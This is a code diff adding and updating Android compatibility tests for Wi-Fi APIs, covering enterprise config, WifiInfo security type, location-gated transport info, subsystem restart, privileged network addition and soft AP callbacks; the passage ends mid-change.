+        assertTrue(configWithCertAndAltSubjectMatch.isServerCertValidationEnabled());
+
+        WifiEnterpriseConfig configWithAliasAndDomainSuffixMatch = createEnterpriseConfig(eapMethod,
+                Phase2.NONE, null, new String[]{"alias1", "alisa2"}, DOM_SUBJECT_MATCH,
+                null);
+        assertTrue(configWithAliasAndDomainSuffixMatch.isEapMethodServerCertUsed());
+        assertTrue(configWithAliasAndDomainSuffixMatch.isServerCertValidationEnabled());
+
+        WifiEnterpriseConfig configWithAliasAndAltSubjectMatch = createEnterpriseConfig(eapMethod,
+                Phase2.NONE, null, new String[]{"alias1", "alisa2"}, null, ALT_SUBJECT_MATCH);
+        assertTrue(configWithAliasAndAltSubjectMatch.isEapMethodServerCertUsed());
+        assertTrue(configWithAliasAndAltSubjectMatch.isServerCertValidationEnabled());
+    }
+
+    private WifiEnterpriseConfig createEnterpriseConfig(int eapMethod, int phase2Method,
+            X509Certificate caCertificate, String[] aliases, String domainSuffixMatch,
+            String altSubjectMatch) {
+        WifiEnterpriseConfig config = new WifiEnterpriseConfig();
+        config.setEapMethod(eapMethod);
+        config.setPhase2Method(phase2Method);
+        config.setCaCertificate(caCertificate);
+        config.setCaCertificateAliases(aliases);
+        config.setDomainSuffixMatch(domainSuffixMatch);
+        config.setAltSubjectMatch(altSubjectMatch);
+        return config;
+    }
+
+    /*
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testSetGetDecoratedIdentityPrefix() {
+        if (!hasWifi()) {
+            return;
+        }
+        WifiEnterpriseConfig config = new WifiEnterpriseConfig();
+
+        assertNull(config.getDecoratedIdentityPrefix());
+        config.setDecoratedIdentityPrefix(TEST_DECORATED_IDENTITY_PREFIX);
+        assertEquals(TEST_DECORATED_IDENTITY_PREFIX, config.getDecoratedIdentityPrefix());
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiInfoTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiInfoTest.java
index 643f42d..3ea7b7d 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiInfoTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiInfoTest.java
@@ -28,14 +28,15 @@
 import android.net.wifi.WifiManager;
 import android.net.wifi.WifiManager.WifiLock;
 import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
+import android.telephony.SubscriptionManager;
+
+import androidx.core.os.BuildCompat;
 
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
 import java.nio.charset.StandardCharsets;
-import java.util.concurrent.Callable;
 
 @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 public class WifiInfoTest extends WifiJUnit3TestBase {
@@ -208,6 +209,10 @@
         assertThat(wifiInfo.getRxLinkSpeedMbps()).isAtLeast(-1);
         assertThat(wifiInfo.getMaxSupportedTxLinkSpeedMbps()).isAtLeast(-1);
         assertThat(wifiInfo.getMaxSupportedRxLinkSpeedMbps()).isAtLeast(-1);
+        if (WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(mContext)) {
+            assertThat(wifiInfo.getCurrentSecurityType()).isNotEqualTo(
+                    WifiInfo.SECURITY_TYPE_UNKNOWN);
+        }
     }
 
     /**
@@ -227,6 +232,13 @@
         assertThat(info1.getBSSID()).isEqualTo(TEST_BSSID);
         assertThat(info1.getRssi()).isEqualTo(TEST_RSSI);
         assertThat(info1.getNetworkId()).isEqualTo(TEST_NETWORK_ID);
+        if (BuildCompat.isAtLeastS()) {
+            assertThat(info1.getSubscriptionId())
+                    .isEqualTo(SubscriptionManager.INVALID_SUBSCRIPTION_ID);
+            assertFalse(info1.isOemPaid());
+            assertFalse(info1.isOemPrivate());
+            assertFalse(info1.isCarrierMerged());
+        }
 
         WifiInfo info2 = builder
                 .setNetworkId(TEST_NETWORK_ID2)
@@ -247,4 +259,26 @@
         assertThat(info2.getRssi()).isEqualTo(TEST_RSSI);
         assertThat(info2.getNetworkId()).isEqualTo(TEST_NETWORK_ID2);
     }
+
+    /**
+     * Test that setCurrentSecurityType and getCurrentSecurityType work as expected
+     * @throws Exception
+     */
+    public void testWifiInfoCurrentSecurityType() throws Exception {
+        if (!WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(mContext)) {
+            return;
+        }
+        WifiInfo.Builder builder = new WifiInfo.Builder()
+                .setSsid(TEST_SSID.getBytes(StandardCharsets.UTF_8))
+                .setBssid(TEST_BSSID)
+                .setRssi(TEST_RSSI)
+                .setNetworkId(TEST_NETWORK_ID);
+
+        WifiInfo info = builder.build();
+        assertEquals(WifiInfo.SECURITY_TYPE_UNKNOWN, info.getCurrentSecurityType());
+
+        builder.setCurrentSecurityType(WifiInfo.SECURITY_TYPE_SAE);
+        info = builder.build();
+        assertEquals(WifiInfo.SECURITY_TYPE_SAE, info.getCurrentSecurityType());
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
index b92b17c..84a050f 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
@@ -30,6 +30,7 @@
 import android.net.wifi.WifiManager;
 import android.platform.test.annotations.AppModeFull;
 
+import androidx.test.filters.SdkSuppress;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
@@ -73,6 +74,10 @@
             WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveConnectionInfoAndReturnStatusActivity";
     private static final String WIFI_LOCATION_TEST_APP_RETRIEVE_CONNECTION_INFO_SERVICE =
             WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveConnectionInfoAndReturnStatusService";
+    private static final String WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_ACTIVITY =
+            WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveTransportInfoAndReturnStatusActivity";
+    private static final String WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_SERVICE =
+            WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveTransportInfoAndReturnStatusService";
 
     private static final int DURATION_MS = 10_000;
     private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
@@ -221,6 +226,17 @@
                 WIFI_LOCATION_TEST_APP_RETRIEVE_CONNECTION_INFO_SERVICE), status);
     }
 
+    private void retrieveTransportInfoFgActivityAndAssertStatusIs(boolean status)
+            throws Exception {
+        startFgActivityAndAssertStatusIs(new ComponentName(WIFI_LOCATION_TEST_APP_PACKAGE_NAME,
+                WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_ACTIVITY), status);
+    }
+
+    private void retrieveTransportInfoBgServiceAndAssertStatusIs(boolean status) throws Exception {
+        startBgServiceAndAssertStatusIs(new ComponentName(WIFI_LOCATION_TEST_APP_PACKAGE_NAME,
+                WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_SERVICE), status);
+    }
+
     @Test
     public void testScanTriggerNotAllowedForForegroundActivityWithNoLocationPermission()
             throws Exception {
@@ -318,4 +334,54 @@
                 WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
         retrieveConnectionInfoBgServiceAndAssertStatusIs(false);
     }
+
+    /**
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testTransportInfoRetrievalNotAllowedForForegroundActivityWithNoLocationPermission()
+            throws Exception {
+        retrieveTransportInfoFgActivityAndAssertStatusIs(false);
+    }
+
+    /**
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testTransportInfoRetrievalAllowedForForegroundActivityWithFineLocationPermission()
+            throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+                WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
+        retrieveTransportInfoFgActivityAndAssertStatusIs(true);
+    }
+
+    /**
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void
+    testTransportInfoRetrievalAllowedForBackgroundServiceWithBackgroundLocationPermission()
+            throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+                WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+                WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_BACKGROUND_LOCATION);
+        retrieveTransportInfoBgServiceAndAssertStatusIs(true);
+    }
+
+    /**
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void
+    testTransportInfoRetrievalNotAllowedForBackgroundServiceWithFineLocationPermission()
+            throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+                WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
+        retrieveTransportInfoBgServiceAndAssertStatusIs(false);
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index d065354..2987d0f 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -18,12 +18,18 @@
 
 import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
 import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
+import static android.net.wifi.WifiAvailableChannel.OP_MODE_STA;
 import static android.net.wifi.WifiConfiguration.INVALID_NETWORK_ID;
+import static android.net.wifi.WifiManager.COEX_RESTRICTION_SOFTAP;
+import static android.net.wifi.WifiManager.COEX_RESTRICTION_WIFI_AWARE;
+import static android.net.wifi.WifiManager.COEX_RESTRICTION_WIFI_DIRECT;
+import static android.net.wifi.WifiScanner.WIFI_BAND_24_GHZ;
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import static org.junit.Assert.assertNotEquals;
 
+import android.annotation.NonNull;
 import android.app.UiAutomation;
 import android.content.BroadcastReceiver;
 import android.content.Context;
@@ -41,14 +47,17 @@
 import android.net.NetworkRequest;
 import android.net.TetheringManager;
 import android.net.Uri;
+import android.net.wifi.CoexUnsafeChannel;
 import android.net.wifi.ScanResult;
 import android.net.wifi.SoftApCapability;
 import android.net.wifi.SoftApConfiguration;
 import android.net.wifi.SoftApInfo;
 import android.net.wifi.WifiClient;
 import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiEnterpriseConfig;
 import android.net.wifi.WifiInfo;
 import android.net.wifi.WifiManager;
+import android.net.wifi.WifiManager.SubsystemRestartTrackingCallback;
 import android.net.wifi.WifiManager.WifiLock;
 import android.net.wifi.WifiNetworkConnectionStatistics;
 import android.net.wifi.WifiNetworkSuggestion;
@@ -58,6 +67,7 @@
 import android.net.wifi.hotspot2.ProvisioningCallback;
 import android.net.wifi.hotspot2.pps.Credential;
 import android.net.wifi.hotspot2.pps.HomeSp;
+import android.os.Build;
 import android.os.Handler;
 import android.os.HandlerExecutor;
 import android.os.HandlerThread;
@@ -69,19 +79,23 @@
 import android.provider.Settings;
 import android.support.test.uiautomator.UiDevice;
 import android.telephony.TelephonyManager;
-import android.test.AndroidTestCase;
 import android.text.TextUtils;
 import android.util.ArraySet;
 import android.util.Log;
+import android.util.SparseArray;
+import android.util.SparseIntArray;
 
+import androidx.core.os.BuildCompat;
+import androidx.test.filters.SdkSuppress;
 import androidx.test.platform.app.InstrumentationRegistry;
 
-import com.android.net.module.util.MacAddressUtils;
 import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.PropertyUtil;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.FeatureUtil;
 import com.android.compatibility.common.util.ThrowingRunnable;
+import com.android.net.module.util.MacAddressUtils;
 
 import java.io.BufferedReader;
 import java.io.IOException;
@@ -93,6 +107,7 @@
 import java.net.URL;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
@@ -119,7 +134,9 @@
     private WifiLock mWifiLock;
     private static MySync mMySync;
     private List<ScanResult> mScanResults = null;
-    private NetworkInfo mNetworkInfo;
+    private NetworkInfo mNetworkInfo =
+            new NetworkInfo(ConnectivityManager.TYPE_WIFI, TelephonyManager.NETWORK_TYPE_UNKNOWN,
+                    "wifi", "unknown");
     private final Object mLock = new Object();
     private UiDevice mUiDevice;
     private boolean mWasVerboseLoggingEnabled;
@@ -168,6 +185,9 @@
     private static final String TYPE_WIFI_CONFIG = "application/x-wifi-config";
     private static final String TEST_PSK_CAP = "[RSN-PSK-CCMP]";
     private static final String TEST_BSSID = "00:01:02:03:04:05";
+    private static final String TEST_COUNTRY_CODE = "JP";
+    private static final String TEST_DOM_SUBJECT_MATCH = "domSubjectMatch";
+    private static final int TEST_SUB_ID = 2;
 
     private IntentFilter mIntentFilter;
     private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
@@ -236,6 +256,25 @@
             mProvisioningComplete = true;
         }
     };
+    private int mSubsystemRestartStatus = 0; // 0: nada, 1: restarting, 2: restarted
+    private SubsystemRestartTrackingCallback mSubsystemRestartTrackingCallback =
+            new SubsystemRestartTrackingCallback() {
+                @Override
+                public void onSubsystemRestarting() {
+                    synchronized (mLock) {
+                        mSubsystemRestartStatus = 1;
+                        mLock.notify();
+                    }
+                }
+
+                @Override
+                public void onSubsystemRestarted() {
+                    synchronized (mLock) {
+                        mSubsystemRestartStatus = 2;
+                        mLock.notify();
+                    }
+                }
+            };
     private static final String TEST_SSID = "TEST SSID";
     private static final String TEST_FRIENDLY_NAME = "Friendly Name";
     private static final Map<String, String> TEST_FRIENDLY_NAMES =
@@ -489,6 +528,61 @@
     }
 
     /**
+     * Restart WiFi subsystem - verify that privileged call fails.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testRestartWifiSubsystemShouldFailNoPermission() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        try {
+            mWifiManager.restartWifiSubsystem();
+            fail("The restartWifiSubsystem should not succeed - privileged call");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    /**
+     * Restart WiFi subsystem and verify transition through states.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testRestartWifiSubsystem() throws Exception {
+        mSubsystemRestartStatus = 0; // 0: uninitialized
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            mWifiManager.registerSubsystemRestartTrackingCallback(mExecutor,
+                    mSubsystemRestartTrackingCallback);
+            synchronized (mLock) {
+                mWifiManager.restartWifiSubsystem();
+                mLock.wait(TEST_WAIT_DURATION_MS);
+            }
+            assertEquals(mSubsystemRestartStatus, 1); // 1: restarting
+            waitForExpectedWifiState(false);
+            assertFalse(mWifiManager.isWifiEnabled());
+            synchronized (mLock) {
+                mLock.wait(TEST_WAIT_DURATION_MS);
+                assertEquals(mSubsystemRestartStatus, 2); // 2: restarted
+            }
+            waitForExpectedWifiState(true);
+            assertTrue(mWifiManager.isWifiEnabled());
+        } finally {
+            // cleanup
+            mWifiManager.unregisterSubsystemRestartTrackingCallback(
+                    mSubsystemRestartTrackingCallback);
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
      * test point of wifiManager properties:
      * 1.enable properties
      * 2.DhcpInfo properties
@@ -515,6 +609,7 @@
      * To run this test in cts-tradefed:
      * run cts --class android.net.wifi.cts.WifiManagerTest --method testWifiScanTimestamp
      */
+    @VirtualDeviceNotSupported
     public void testWifiScanTimestamp() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             Log.d(TAG, "Skipping test as WiFi is not supported");
@@ -559,6 +654,26 @@
         }
     }
 
+    public void testConvertBetweenChannelFrequencyMhz() throws Exception {
+        int[] testFrequency_2G = {2412, 2437, 2462, 2484};
+        int[] testFrequency_5G = {5180, 5220, 5540, 5745};
+        int[] testFrequency_6G = {5955, 6435, 6535, 7115};
+        int[] testFrequency_60G = {58320, 64800};
+        SparseArray<int[]> testData = new SparseArray<>() {{
+            put(ScanResult.WIFI_BAND_24_GHZ, testFrequency_2G);
+            put(ScanResult.WIFI_BAND_5_GHZ, testFrequency_5G);
+            put(ScanResult.WIFI_BAND_6_GHZ, testFrequency_6G);
+            put(ScanResult.WIFI_BAND_60_GHZ, testFrequency_60G);
+        }};
+
+        for (int i = 0; i < testData.size(); i++) {
+            for (int frequency : testData.valueAt(i)) {
+                assertEquals(frequency, ScanResult.convertChannelToFrequencyMhzIfSupported(
+                      ScanResult.convertFrequencyMhzToChannelIfSupported(frequency), testData.keyAt(i)));
+            }
+        }
+    }
+
     // Return true if location is enabled.
     private boolean isLocationEnabled() {
         return Settings.Secure.getInt(getContext().getContentResolver(),
@@ -624,20 +739,36 @@
         }
     }
 
+    public class TestWifiVerboseLoggingStatusChangedListener implements
+            WifiManager.WifiVerboseLoggingStatusChangedListener {
+        public int numCalls;
+        public boolean status;
+
+        @Override
+        public void onWifiVerboseLoggingStatusChanged(boolean enabled) {
+            numCalls++;
+            status = enabled;
+        }
+    }
+
     public class TestSoftApCallback implements WifiManager.SoftApCallback {
         Object softApLock;
         int currentState;
         int currentFailureReason;
+        List<SoftApInfo> apInfoList = new ArrayList<>();
+        SoftApInfo apInfoOnSingleApMode;
+        Map<SoftApInfo, List<WifiClient>> apInfoClients = new HashMap<>();
         List<WifiClient> currentClientList;
-        SoftApInfo currentSoftApInfo;
         SoftApCapability currentSoftApCapability;
         MacAddress lastBlockedClientMacAddress;
         int lastBlockedClientReason;
         boolean onStateChangedCalled = false;
         boolean onSoftApCapabilityChangedCalled = false;
         boolean onConnectedClientCalled = false;
+        boolean onConnectedClientChangedWithInfoCalled = false;
         boolean onBlockedClientConnectingCalled = false;
         int onSoftapInfoChangedCalledCount = 0;
+        int onSoftapInfoChangedWithListCalledCount = 0;
 
         TestSoftApCallback(Object lock) {
             softApLock = lock;
@@ -655,12 +786,24 @@
             }
         }
 
+        public int getOnSoftApInfoChangedWithListCalledCount() {
+            synchronized(softApLock) {
+                return onSoftapInfoChangedWithListCalledCount;
+            }
+        }
+
         public boolean getOnSoftApCapabilityChangedCalled() {
             synchronized(softApLock) {
                 return onSoftApCapabilityChangedCalled;
             }
         }
 
+        public boolean getOnConnectedClientChangedWithInfoCalled() {
+            synchronized(softApLock) {
+                return onConnectedClientChangedWithInfoCalled;
+            }
+        }
+
         public boolean getOnConnectedClientCalled() {
             synchronized(softApLock) {
                 return onConnectedClientCalled;
@@ -687,13 +830,19 @@
 
         public List<WifiClient> getCurrentClientList() {
             synchronized(softApLock) {
-                return currentClientList;
+                return new ArrayList<>(currentClientList);
             }
         }
 
         public SoftApInfo getCurrentSoftApInfo() {
             synchronized(softApLock) {
-                return currentSoftApInfo;
+                return apInfoOnSingleApMode;
+            }
+        }
+
+        public List<SoftApInfo> getCurrentSoftApInfoList() {
+            synchronized(softApLock) {
+                return new ArrayList<>(apInfoList);
             }
         }
 
@@ -733,9 +882,25 @@
         }
 
         @Override
+        public void onConnectedClientsChanged(SoftApInfo info, List<WifiClient> clients) {
+            synchronized(softApLock) {
+                apInfoClients.put(info, clients);
+                onConnectedClientChangedWithInfoCalled = true;
+            }
+        }
+
+        @Override
+        public void onInfoChanged(List<SoftApInfo> infoList) {
+            synchronized(softApLock) {
+                apInfoList = new ArrayList<>(infoList);
+                onSoftapInfoChangedWithListCalledCount++;
+            }
+        }
+
+        @Override
         public void onInfoChanged(SoftApInfo softApInfo) {
             synchronized(softApLock) {
-                currentSoftApInfo = softApInfo;
+                apInfoOnSingleApMode = softApInfo;
                 onSoftapInfoChangedCalledCount++;
             }
         }
@@ -797,12 +962,52 @@
         }
     }
 
+    private List<Integer> getSupportedSoftApBand(SoftApCapability capability) {
+        List<Integer> supportedApBands = new ArrayList<>();
+        if (mWifiManager.is24GHzBandSupported() &&
+                capability.areFeaturesSupported(
+                        SoftApCapability.SOFTAP_FEATURE_BAND_24G_SUPPORTED)) {
+            supportedApBands.add(SoftApConfiguration.BAND_2GHZ);
+        }
+        if (mWifiManager.is5GHzBandSupported() &&
+                capability.areFeaturesSupported(
+                        SoftApCapability.SOFTAP_FEATURE_BAND_5G_SUPPORTED)) {
+            supportedApBands.add(SoftApConfiguration.BAND_5GHZ);
+        }
+        if (mWifiManager.is6GHzBandSupported() &&
+                capability.areFeaturesSupported(
+                        SoftApCapability.SOFTAP_FEATURE_BAND_6G_SUPPORTED)) {
+            supportedApBands.add(SoftApConfiguration.BAND_6GHZ);
+        }
+        if (mWifiManager.is60GHzBandSupported() &&
+                capability.areFeaturesSupported(
+                        SoftApCapability.SOFTAP_FEATURE_BAND_60G_SUPPORTED)) {
+            supportedApBands.add(SoftApConfiguration.BAND_60GHZ);
+        }
+        return supportedApBands;
+    }
+
     private TestLocalOnlyHotspotCallback startLocalOnlyHotspot() {
         // Location mode must be enabled for this test
         if (!isLocationEnabled()) {
             fail("Please enable location for this test");
         }
 
+        TestExecutor executor = new TestExecutor();
+        TestSoftApCallback capabilityCallback = new TestSoftApCallback(mLock);
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        List<Integer> supportedSoftApBands = new ArrayList<>();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            verifyRegisterSoftApCallback(executor, capabilityCallback);
+            supportedSoftApBands = getSupportedSoftApBand(
+                    capabilityCallback.getCurrentSoftApCapability());
+        } catch (Exception ex) {
+        } finally {
+            // clean up
+            mWifiManager.unregisterSoftApCallback(capabilityCallback);
+            uiAutomation.dropShellPermissionIdentity();
+        }
         TestLocalOnlyHotspotCallback callback = new TestLocalOnlyHotspotCallback(mLock);
         synchronized (mLock) {
             try {
@@ -818,15 +1023,15 @@
             assertNotNull(softApConfig);
             int securityType = softApConfig.getSecurityType();
             if (securityType == SoftApConfiguration.SECURITY_TYPE_OPEN
-                || securityType == SoftApConfiguration.SECURITY_TYPE_WPA2_PSK) {
-                // TODO: b/165504232, add WPA3_SAE_TRANSITION assert check
+                    || securityType == SoftApConfiguration.SECURITY_TYPE_WPA2_PSK
+                    || securityType == SoftApConfiguration.SECURITY_TYPE_WPA3_SAE_TRANSITION) {
                 assertNotNull(softApConfig.toWifiConfiguration());
-            } else if (securityType == SoftApConfiguration.SECURITY_TYPE_WPA3_SAE) {
+            } else {
                 assertNull(softApConfig.toWifiConfiguration());
             }
             if (!hasAutomotiveFeature()) {
-                assertEquals(
-                        SoftApConfiguration.BAND_2GHZ,
+                assertEquals(supportedSoftApBands.size() > 0 ? supportedSoftApBands.get(0)
+                        : SoftApConfiguration.BAND_2GHZ,
                         callback.reservation.getSoftApConfiguration().getBand());
             }
             assertFalse(callback.onFailedCalled);
@@ -914,6 +1119,119 @@
     }
 
     /**
+     * Verify that {@link WifiManager#addNetworkPrivileged(WifiConfiguration)} throws a
+     * SecurityException when called by a normal app.
+     */
+    public void testAddNetworkPrivilegedNotAllowedForNormalApps() {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        if (!WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(mContext)) {
+            // Skip the test if wifi module version is older than S.
+            return;
+        }
+        try {
+            WifiConfiguration newOpenNetwork = new WifiConfiguration();
+            newOpenNetwork.SSID = "\"" + TEST_SSID_UNQUOTED + "\"";
+            mWifiManager.addNetworkPrivileged(newOpenNetwork);
+            fail("A normal app should not be able to call this API.");
+        } catch (SecurityException e) {
+        }
+    }
+
+    /**
+     * Verify {@link WifiManager#addNetworkPrivileged(WifiConfiguration)} throws an exception when
+     * null is the input.
+     */
+    public void testAddNetworkPrivilegedBadInput() {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        if (!WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(mContext)) {
+            // Skip the test if wifi module version is older than S.
+            return;
+        }
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            mWifiManager.addNetworkPrivileged(null);
+            fail("Expected IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Verify {@link WifiManager#addNetworkPrivileged(WifiConfiguration)} returns the proper
+     * failure status code when adding an enterprise config with mandatory fields not filled in.
+     */
+    public void testAddNetworkPrivilegedFailureBadEnterpriseConfig() {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        if (!WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(mContext)) {
+            // Skip the test if wifi module version is older than S.
+            return;
+        }
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            WifiConfiguration wifiConfiguration = new WifiConfiguration();
+            wifiConfiguration.SSID = SSID1;
+            wifiConfiguration.setSecurityParams(WifiConfiguration.SECURITY_TYPE_EAP_WPA3_ENTERPRISE);
+            wifiConfiguration.enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TTLS);
+            WifiManager.AddNetworkResult result =
+                    mWifiManager.addNetworkPrivileged(wifiConfiguration);
+            assertEquals(WifiManager.AddNetworkResult.STATUS_INVALID_CONFIGURATION_ENTERPRISE,
+                    result.statusCode);
+            assertEquals(-1, result.networkId);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Verify {@link WifiManager#addNetworkPrivileged(WifiConfiguration)} works properly when the
+     * calling app has permissions.
+     */
+    public void testAddNetworkPrivilegedSuccess() {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        if (!WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(mContext)) {
+            // Skip the test if wifi module version is older than S.
+            return;
+        }
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            WifiConfiguration newOpenNetwork = new WifiConfiguration();
+            newOpenNetwork.SSID = "\"" + TEST_SSID_UNQUOTED + "\"";
+            WifiManager.AddNetworkResult result = mWifiManager.addNetworkPrivileged(newOpenNetwork);
+            assertEquals(WifiManager.AddNetworkResult.STATUS_SUCCESS, result.statusCode);
+            assertTrue(result.networkId >= 0);
+            List<WifiConfiguration> configuredNetworks = mWifiManager.getConfiguredNetworks();
+            boolean found = false;
+            for (WifiConfiguration config : configuredNetworks) {
+                if (config.networkId == result.networkId
+                        && config.SSID.equals(newOpenNetwork.SSID)) {
+                    found = true;
+                    break;
+                }
+            }
+            assertTrue("addNetworkPrivileged returns success but the network is not found", found);
+            mWifiManager.removeNetwork(result.networkId);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
      * Verify that applications can only have one registered LocalOnlyHotspot request at a time.
      *
      * Note: Location mode must be enabled for this test.
@@ -988,18 +1306,28 @@
         if (!mWifiManager.isPortableHotspotSupported()) {
             return;
         }
-        SoftApConfiguration customConfig = new SoftApConfiguration.Builder()
-                .setBssid(TEST_MAC)
-                .setSsid(TEST_SSID_UNQUOTED)
-                .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
-                .build();
+
         TestExecutor executor = new TestExecutor();
         TestLocalOnlyHotspotCallback callback = new TestLocalOnlyHotspotCallback(mLock);
+        TestSoftApCallback capabilityCallback = new TestSoftApCallback(mLock);
         UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        boolean wifiEnabled = mWifiManager.isWifiEnabled();
         try {
             uiAutomation.adoptShellPermissionIdentity();
+            verifyRegisterSoftApCallback(executor, capabilityCallback);
+            SoftApConfiguration.Builder customConfigBuilder = new SoftApConfiguration.Builder()
+                    .setSsid(TEST_SSID_UNQUOTED)
+                    .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK);
 
-            boolean wifiEnabled = mWifiManager.isWifiEnabled();
+            boolean isSupportCustomizedMac = capabilityCallback.getCurrentSoftApCapability()
+                        .areFeaturesSupported(
+                        SoftApCapability.SOFTAP_FEATURE_MAC_ADDRESS_CUSTOMIZATION)
+                    && PropertyUtil.isVndkApiLevelNewerThan(Build.VERSION_CODES.S);
+            if (isSupportCustomizedMac) {
+                customConfigBuilder.setBssid(TEST_MAC);
+            }
